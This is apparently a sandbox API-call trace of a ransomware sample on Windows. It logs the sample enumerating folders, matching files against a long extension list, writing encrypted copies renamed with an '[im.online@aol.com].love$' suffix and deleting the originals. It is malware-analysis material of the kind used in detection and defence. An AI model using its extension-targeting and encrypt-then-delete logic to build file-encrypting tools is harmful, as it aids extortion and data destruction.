lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".bz2") returned 4 [0281.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".7z") returned 3 [0281.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.170] lstrlenW (lpString=".dbf") returned 4 [0281.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.170] lstrlenW (lpString=".1cd") returned 4 [0281.171] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString=".jpg") returned 4 [0281.171] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString=".doc") returned 4 [0281.171] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".docx") returned 5 [0281.171] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.171] lstrlenW (lpString=".pdf") returned 4 [0281.171] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".xls") returned 4 [0281.171] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".xlsx") returned 5 [0281.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.171] lstrlenW (lpString=".ppt") returned 4 [0281.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString=".zip") returned 4 [0281.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".rar") returned 4 [0281.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".bz2") returned 4 [0281.171] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString=".7z") returned 3 [0281.171] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString=".dbf") returned 4 [0281.171] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.171] lstrlenW (lpString=".1cd") returned 4 [0281.172] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.172] lstrlenW (lpString=".jpg") returned 4 [0281.172] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.172] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0281.172] lstrlenW (lpString="O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 40 [0281.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0281.173] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11646) returned 1 [0281.174] CloseHandle (hObject=0x550) returned 1 [0281.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0281.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0281.174] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.174] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.176] GetLastError () returned 0x0 [0281.176] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0281.216] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0281.217] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.217] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x124, lpOverlapped=0x0) returned 1 [0281.217] SetEndOfFile (hFile=0x418) returned 1 [0281.226] CloseHandle (hObject=0x418) returned 1 [0281.231] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.231] SetEndOfFile (hFile=0x550) returned 1 [0281.310] CloseHandle (hObject=0x550) returned 1 [0281.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1 [0282.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.190] lstrlenW (lpString=".doc") returned 4 [0282.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.190] lstrlenW (lpString=".docx") returned 5 [0282.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.190] lstrlenW (lpString=".pdf") returned 4 [0282.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.190] lstrlenW (lpString=".xls") returned 4 [0282.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.190] lstrlenW (lpString=".xlsx") returned 5 [0282.190] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.190] lstrlenW (lpString=".ppt") returned 4 [0282.190] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.190] lstrlenW (lpString=".zip") returned 4 [0282.190] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.190] lstrlenW (lpString=".rar") returned 4 [0282.191] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString=".bz2") returned 4 [0282.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString=".7z") returned 3 [0282.191] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.191] lstrlenW (lpString=".dbf") returned 4 [0282.191] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.191] lstrlenW (lpString=".1cd") returned 4 [0282.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.191] lstrlenW (lpString=".jpg") returned 4 [0282.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.191] lstrlenW (lpString=".doc") returned 4 [0282.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString=".docx") returned 5 [0282.191] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.191] lstrlenW (lpString=".pdf") returned 4 [0282.191] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString=".xls") returned 4 [0282.191] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString=".xlsx") returned 5 [0282.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.191] lstrlenW (lpString=".ppt") returned 4 [0282.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.192] lstrlenW (lpString=".zip") returned 4 [0282.192] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString=".rar") returned 4 [0282.192] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString=".bz2") returned 4 [0282.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString=".7z") returned 3 [0282.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.192] lstrlenW (lpString=".dbf") returned 4 [0282.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.192] lstrlenW (lpString=".1cd") returned 4 [0282.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0282.192] lstrlenW (lpString=".jpg") returned 4 [0282.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.192] lstrlenW (lpString=".id-") returned 4 [0282.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5190 | out: hHeap=0x670000) returned 1 [0282.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c370 | out: hHeap=0x670000) returned 1 [0282.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32f3e58 | out: hHeap=0x670000) returned 1 [0282.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3303e60 | out: hHeap=0x670000) returned 1 [0282.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3fde020 | out: hHeap=0x670000) returned 1 [0282.200] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5178 | out: hHeap=0x670000) returned 1 [0282.200] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.200] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aac90 [0282.200] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.200] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aab78 [0282.200] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.200] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.200] Wow64DisableWow64FsRedirection (in: OldValue=0x382ff50 | out: OldValue=0x382ff50*=0x1) returned 1 [0282.200] lstrlenW (lpString="kernel32.dll") returned 12 [0282.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aab78 | out: hHeap=0x670000) returned 1 [0282.201] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac90 | out: hHeap=0x670000) returned 1 Thread: id = 52 os_tid = 0xe18 [0222.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40e0048 [0222.742] lstrlenW (lpString="C:") returned 2 [0222.742] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6d0188 [0222.743] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0222.743] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0222.743] lstrlenW (lpString="$GetCurrent") returned 11 [0222.743] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0222.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0222.743] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0222.743] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6d0308 [0222.743] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0222.744] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0222.744] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0222.744] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0222.744] lstrlenW (lpString="Logs") returned 4 [0222.744] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0222.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4101060 [0222.744] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0222.744] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6cffc8 [0222.745] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0222.745] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3fafc2f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3fafc2f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3fd5d27, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DOWNLE~1.LOV")) returned 1 [0222.745] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$") returned 75 [0222.745] lstrlenW (lpString=".1cd") returned 4 [0222.745] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".3ds") returned 4 [0222.746] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".3fr") returned 4 [0222.746] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".3g2") returned 4 [0222.746] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".3gp") returned 4 [0222.746] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".7z") returned 3 [0222.746] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0222.746] lstrlenW (lpString=".accda") returned 6 [0222.746] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".accdb") returned 6 [0222.746] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".accdc") returned 6 [0222.746] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".accde") returned 6 [0222.746] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".accdt") returned 6 [0222.746] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".accdw") returned 6 [0222.746] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0222.746] lstrlenW (lpString=".adb") returned 4 [0222.746] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".adp") returned 4 [0222.746] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".ai") returned 3 [0222.746] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0222.746] lstrlenW (lpString=".ai3") returned 4 [0222.746] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0222.746] lstrlenW (lpString=".ai4") returned 4 [0222.747] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".ai5") returned 4 [0222.747] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".ai6") returned 4 [0222.747] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".ai7") returned 4 [0222.747] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".ai8") returned 4 [0222.747] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".anim") returned 5 [0222.747] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0222.747] lstrlenW (lpString=".arw") returned 4 [0222.747] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".as") returned 3 [0222.747] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0222.747] lstrlenW (lpString=".asa") returned 4 [0222.747] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".asc") returned 4 [0222.747] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".ascx") returned 5 [0222.747] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0222.747] lstrlenW (lpString=".asm") returned 4 [0222.747] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".asmx") returned 5 [0222.747] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0222.747] lstrlenW (lpString=".asp") returned 4 [0222.747] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0222.747] lstrlenW (lpString=".aspx") returned 5 [0222.747] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0222.747] lstrlenW (lpString=".asr") returned 4 [0222.747] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".asx") returned 4 [0222.748] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".avi") returned 4 [0222.748] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".avs") returned 4 [0222.748] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".backup") returned 7 [0222.748] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0222.748] lstrlenW (lpString=".bak") returned 4 [0222.748] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".bay") returned 4 [0222.748] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".bd") returned 3 [0222.748] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0222.748] lstrlenW (lpString=".bin") returned 4 [0222.748] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".bmp") returned 4 [0222.748] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".bz2") returned 4 [0222.748] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".c") returned 2 [0222.748] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0222.748] lstrlenW (lpString=".cdr") returned 4 [0222.748] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".cer") returned 4 [0222.748] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0222.748] lstrlenW (lpString=".cf") returned 3 [0222.748] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0222.748] lstrlenW (lpString=".cfc") returned 4 [0222.748] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".cfm") returned 4 [0222.749] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".cfml") returned 5 [0222.749] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0222.749] lstrlenW (lpString=".cfu") returned 4 [0222.749] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".chm") returned 4 [0222.749] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".cin") returned 4 [0222.749] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".class") returned 6 [0222.749] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0222.749] lstrlenW (lpString=".clx") returned 4 [0222.749] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".config") returned 7 [0222.749] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0222.749] lstrlenW (lpString=".cpp") returned 4 [0222.749] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".cr2") returned 4 [0222.749] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".crt") returned 4 [0222.749] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".crw") returned 4 [0222.749] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".cs") returned 3 [0222.749] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0222.749] lstrlenW (lpString=".css") returned 4 [0222.749] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0222.749] lstrlenW (lpString=".csv") returned 4 [0222.749] 